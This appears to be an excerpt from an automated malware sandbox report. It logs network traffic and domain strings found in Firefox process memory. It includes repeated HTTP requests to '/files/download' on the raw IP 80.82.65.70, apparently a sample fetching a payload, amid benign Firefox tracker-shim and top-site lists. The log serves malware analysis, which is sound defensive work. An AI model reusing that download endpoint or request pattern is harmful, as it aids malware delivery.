Source: global traffic HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3394874901.00000214A892D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3394874901.00000214A892D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozilla-20&sourceid=Mozilla-search equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: BETWEEN :prefix || :strippedURL AND :prefix || :strippedURL || X'FFFF'https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: BETWEEN :prefix || :strippedURL AND :prefix || :strippedURL || X'FFFF'https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: BETWEEN :prefix || :strippedURL AND :prefix || :strippedURL || X'FFFF'https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/url('chrome://activity-stream/content/data/content/assets/device-migration.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)url('chrome://activity-stream/content/data/content/assets/mr-settodefault.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)url('chrome://activity-stream/content/data/content/assets/mr-import.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)url('chrome://activity-stream/content/data/content/assets/mr-mobilecrosspromo.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)url('chrome://activity-stream/content/data/content/assets/mr-settodefault.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)https://www.mozilla.org/firefox/mobile/get-app/?utm_medium=firefox-desktop&utm_source=onboarding-modal&utm_campaign=mr2022&utm_content=new-globalhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/url('chrome://activity-stream/content/data/content/assets/mr-settodefault.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)url('chrome://activity-stream/content/data/content/assets/mr-import.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)Thank you for using Firefox, backed by the Mozilla Foundation. With your support, we're working to make the internet safer and more accessible for everyone. url('chrome://activity-stream/content/data/content/assets/mr-gratitude.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/DeferredTask@resource://gre/modules/DeferredTask.sys.mjs:117:18 equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: BETWEEN :prefix || :strippedURL AND :prefix || :strippedURL || X'FFFF'https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/url('chrome://activity-stream/content/data/content/assets/device-migration.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)url('chrome://activity-stream/content/data/content/assets/mr-settodefault.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)url('chrome://activity-stream/content/data/content/assets/mr-import.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)url('chrome://activity-stream/content/data/content/assets/mr-mobilecrosspromo.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)url('chrome://activity-stream/content/data/content/assets/mr-settodefault.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)https://www.mozilla.org/firefox/mobile/get-app/?utm_medium=firefox-desktop&utm_source=onboarding-modal&utm_campaign=mr2022&utm_content=new-globalhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/url('chrome://activity-stream/content/data/content/assets/mr-settodefault.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)url('chrome://activity-stream/content/data/content/assets/mr-import.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)Thank you for using Firefox, backed by the Mozilla Foundation. With your support, we're working to make the internet safer and more accessible for everyone. url('chrome://activity-stream/content/data/content/assets/mr-gratitude.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/DeferredTask@resource://gre/modules/DeferredTask.sys.mjs:117:18 equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: BETWEEN :prefix || :strippedURL AND :prefix || :strippedURL || X'FFFF'https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/url('chrome://activity-stream/content/data/content/assets/device-migration.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)url('chrome://activity-stream/content/data/content/assets/mr-settodefault.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)url('chrome://activity-stream/content/data/content/assets/mr-import.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)url('chrome://activity-stream/content/data/content/assets/mr-mobilecrosspromo.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)url('chrome://activity-stream/content/data/content/assets/mr-settodefault.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)https://www.mozilla.org/firefox/mobile/get-app/?utm_medium=firefox-desktop&utm_source=onboarding-modal&utm_campaign=mr2022&utm_content=new-globalhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/url('chrome://activity-stream/content/data/content/assets/mr-settodefault.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)url('chrome://activity-stream/content/data/content/assets/mr-import.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)Thank you for using Firefox, backed by the Mozilla Foundation. With your support, we're working to make the internet safer and more accessible for everyone. url('chrome://activity-stream/content/data/content/assets/mr-gratitude.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/DeferredTask@resource://gre/modules/DeferredTask.sys.mjs:117:18 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: UpdateService:_selectAndInstallUpdate - the user is unable to apply updates... prompting. Notifying observers. topic: update-available, status: cant-applyYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/AND (visited OR NOT bookmarked) equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: UpdateService:_selectAndInstallUpdate - the user is unable to apply updates... prompting. Notifying observers. topic: update-available, status: cant-applyYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/AND (visited OR NOT bookmarked) equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: UpdateService:_selectAndInstallUpdate - the user is unable to apply updates... prompting. Notifying observers. topic: update-available, status: cant-applyYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/AND (visited OR NOT bookmarked) equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: - the given reason to update is not supportedfindUpdates() - updateTask succeeded for onPrefEnabledChanged() - adding gmp directory startup - adding clearkey CDM failedfindUpdates() - found update for KEY_PLUGIN_LAST_DOWNLOAD_FAIL_REASON*://web-assets.toggl.com/app/assets/scripts/*.js*://*.imgur.com/js/vendor.*.bundle.js*://libs.coremetrics.com/eluminate.js*://connect.facebook.net/*/sdk.js**://www.everestjs.net/static/st.v3.js**://connect.facebook.net/*/all.js*@mozilla.org/addons/addon-manager-startup;1resource://gre/modules/addons/XPIProvider.jsmFileUtils_closeSafeFileOutputStream@mozilla.org/network/file-output-stream;1@mozilla.org/network/atomic-file-output-stream;1FileUtils_closeAtomicFileOutputStreamresource://gre/modules/FileUtils.sys.mjswebcompat-reporter%40mozilla.org:1.5.1*://track.adform.net/serving/scripts/trackpoint/FileUtils_openAtomicFileOutputStreamconsumeTransientUserGestureActivation equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "*://www.facebook.com/platform/impression.php*" equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: *://id.rambler.ru/rambler-id-helper/auth_events.jslinear-gradient(90deg, #9059FF 0%, #FF4AA2 52.08%, #FFBD4F 100%)https://www.amazon.com/exec/obidos/external-search/**://tpc.googlesyndication.com/safeframe/*/html/container.htmlresource://gre/modules/TelemetryController.sys.mjs*://securepubads.g.doubleclick.net/tag/js/gpt.js**://pagead2.googlesyndication.com/pagead/*.js*fcd=true*://www.gstatic.com/firebasejs/*/firebase-messaging.js**://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*resource://gre/modules/TelemetryController.sys.mjs equals www.rambler.ru (Rambler)
Source: firefox.exe, 0000001D.00000003.3332867628.00000214ACD45000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3356098124.00000214ACD6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: *://www.facebook.com/platform/impression.php* equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: --panel-banner-item-update-supported-bgcolor*://ads.stickyadstv.com/user-matching**://track.adform.net/Serving/TrackPoint/**://pubads.g.doubleclick.net/gampad/*xml_vmap1**://www.facebook.com/platform/impression.php*QUERY_CONTENT_FLAG_SELECTION_URLSTRIKEOUT equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A892D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{&quot;title&quot;:&quot;Wikipedia&quot;}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{&quot;title&quot;:&quot;Reddit&quot;}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{&quot;title&quot;:&quot;Twitter&quot;}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3407434312.00000214ABE1E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: @mozilla.org/network/safe-file-output-stream;1*://cdn.branch.io/branch-latest.min.js**://static.chartbeat.com/js/chartbeat_video.js*://c.amazon-adsystem.com/aax2/apstag.jshttps://smartblock.firefox.etp/facebook.svg*://*.imgur.io/js/vendor.*.bundle.jshttps://smartblock.firefox.etp/play.svgpictureinpicture%40mozilla.org:1.0.0*://pub.doubleverify.com/signals/pub.js**://auth.9c9media.ca/auth/main.js*://static.chartbeat.com/js/chartbeat.js*://static.criteo.net/js/ld/publishertag.js*://www.rva311.com/static/js/main.*.chunk.jswebcompat-reporter@mozilla.org.xpiFileUtils_openSafeFileOutputStream*://cdn.adsafeprotected.com/iasPET.1.js*://*.moatads.com/*/moatheader.js**://cdn.optimizely.com/public/*.js*://www.google-analytics.com/gtm/js**://js.maxmind.com/js/apis/geoip2/*/geoip2.js*://s.webtrends.com/js/advancedLinkTracking.js*://s.webtrends.com/js/webtrends.min.jsget styleSheetChangeEventsEnabled equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: ["*://track.adform.net/Serving/TrackPoint/*", "*://pixel.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: ["*://webcompat-addon-testbed.herokuapp.com/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "*://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js*", "*://track.adform.net/serving/scripts/trackpoint/", "*://track.adform.net/serving/scripts/trackpoint/async/", "*://*.adnxs.com/*/ast.js*", "*://*.adnxs.com/*/pb.js*", "*://*.adnxs.com/*/prebid*", "*://www.everestjs.net/static/st.v3.js*", "*://static.adsafeprotected.com/vans-adapter-google-ima.js", "*://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "*://cdn.branch.io/branch-latest.min.js*", "*://pub.doubleverify.com/signals/pub.js*", "*://c.amazon-adsystem.com/aax2/apstag.js", "*://auth.9c9media.ca/auth/main.js", "*://static.chartbeat.com/js/chartbeat.js", "*://static.chartbeat.com/js/chartbeat_video.js", "*://static.criteo.net/js/ld/publishertag.js", "*://*.imgur.com/js/vendor.*.bundle.js", "*://*.imgur.io/js/vendor.*.bundle.js", "*://www.rva311.com/static/js/main.*.chunk.js", "*://web-assets.toggl.com/app/assets/scripts/*.js", "*://libs.coremetrics.com/eluminate.js", "*://connect.facebook.net/*/sdk.js*", "*://connect.facebook.net/*/all.js*", "*://secure.cdn.fastclick.net/js/cnvr-launcher/*/launcher-stub.min.js*", "*://www.google-analytics.com/analytics.js*", "*://www.google-analytics.com/gtm/js*", "*://www.googletagmanager.com/gtm.js*", "*://www.google-analytics.com/plugins/ua/ec.js", "*://ssl.google-analytics.com/ga.js", "*://s0.2mdn.net/instream/html5/ima3.js", "*://imasdk.googleapis.com/js/sdkloader/ima3.js", "*://www.googleadservices.com/pagead/conversion_async.js", "*://www.googletagservices.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*", "*://securepubads.g.doubleclick.net/tag/js/gpt.js*", "*://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js*", "*://script.ioam.de/iam.js", "*://cdn.adsafeprotected.com/iasPET.1.js", "*://static.adsafeprotected.com/iasPET.1.js", "*://adservex.media.net/videoAds.js*", "*://*.moatads.com/*/moatad.js*", "*://*.moatads.com/*/moatapi.js*", "*://*.moatads.com/*/moatheader.js*", "*://*.moatads.com/*/yi.js*", "*://*.imrworldwide.com/v60.js", "*://cdn.optimizely.com/js/*.js", "*://cdn.optimizely.com/public/*.js", "*://id.rambler.ru/rambler-id-helper/auth_events.js", "*://media.richrelevance.com/rrserver/js/1.2/p13n.js", "*://www.gstatic.com/firebasejs/*/firebase-messaging.js*", "*://*.vidible.tv/*/vidible-min.js*", "*://vdb-cdn-files.s3.amazonaws.com/*/vidible-min.js*", "*://js.maxmind.com/js/apis/geoip2/*/geoip2.js", "*://s.webtrends.com/js/advancedLinkTracking.js", "*://s.webtrends.com/js/webtrends.js", "*://s.webtrends.com/js/webtrends.min.js"] equals www.facebook.com (Facebook)
